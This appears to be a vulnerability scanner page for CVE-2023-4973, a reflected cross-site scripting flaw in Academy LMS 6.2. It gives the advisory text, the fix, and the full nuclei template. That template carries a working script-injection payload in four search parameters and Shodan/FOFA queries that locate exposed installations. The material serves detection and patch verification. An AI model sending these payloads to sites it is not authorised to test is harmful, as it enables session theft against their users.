Academy LMS 6.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in Academy LMS 6.2 on Windows. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /academy/tutor/filter of the component GET Parameter Handler. The manipulation of the argument searched_word/searched_tution_class_type[]/searched_price_type[]/searched_duration[] leads to cross site scripting. The attack can be launched remotely.

Impact

Unauthenticated attackers can inject malicious JavaScript via reflected XSS in search parameters, potentially stealing user session cookies or performing actions on behalf of users.

Fix

Update Academy LMS to version 6.3 or later.

How to confirm it

Send: GET {{BaseURL}}/academy/tutor/filter?searched_word=acoa5"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0&searched_tution_class_type%5B%5D=ac…
Positive when: status_code == 200 and contains(header, "text/html") and contains_all(body, "<script>alert(document.domain)</script>", "List of tuitions")

Run it with nuclei: nuclei -id CVE-2023-4973 -u <target>

The full check

id: CVE-2023-4973

info:
  name: Academy LMS 6.2 - Cross-Site Scripting
  author: ritikchaddha,princechaddha
  severity: medium
  description: |
    A vulnerability was found in Academy LMS 6.2 on Windows. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /academy/tutor/filter of the component GET Parameter Handler. The manipulation of the argument searched_word/searched_tution_class_type[]/searched_price_type[]/searched_duration[] leads to cross site scripting. The attack can be launched remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in search parameters, potentially stealing user session cookies or performing actions on behalf of users.
  remediation: |
    Update Academy LMS to version 6.3 or later.
  reference:
    - https://packetstormsecurity.com/files/174680/Academy-LMS-6.2-Cross-Site-Scripting.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4973
    cwe-id: CWE-79
    epss-score: 0.01886
    epss-percentile: 0.79691
    cpe: cpe:2.3:a:creativeitem:academy_lms:6.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_lms
    shodan-query:
      - html:"Academy LMS"
      - http.html:"academy lms"
    fofa-query:
      - body="Academy LMS"
      - body="academy lms"
  tags: packetstorm,cve2023,cve,academylms,xss,creativeitem,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/academy/tutor/filter?searched_word=acoa5\"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0&searched_tution_class_type%5B%5D=acoa5\"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0&price_min=1&price_max=9&searched_price_type%5B%5D=acoa5\"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0&searched_duration%5B%5D=acoa5\"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;dyzs0"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "List of tuitions")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from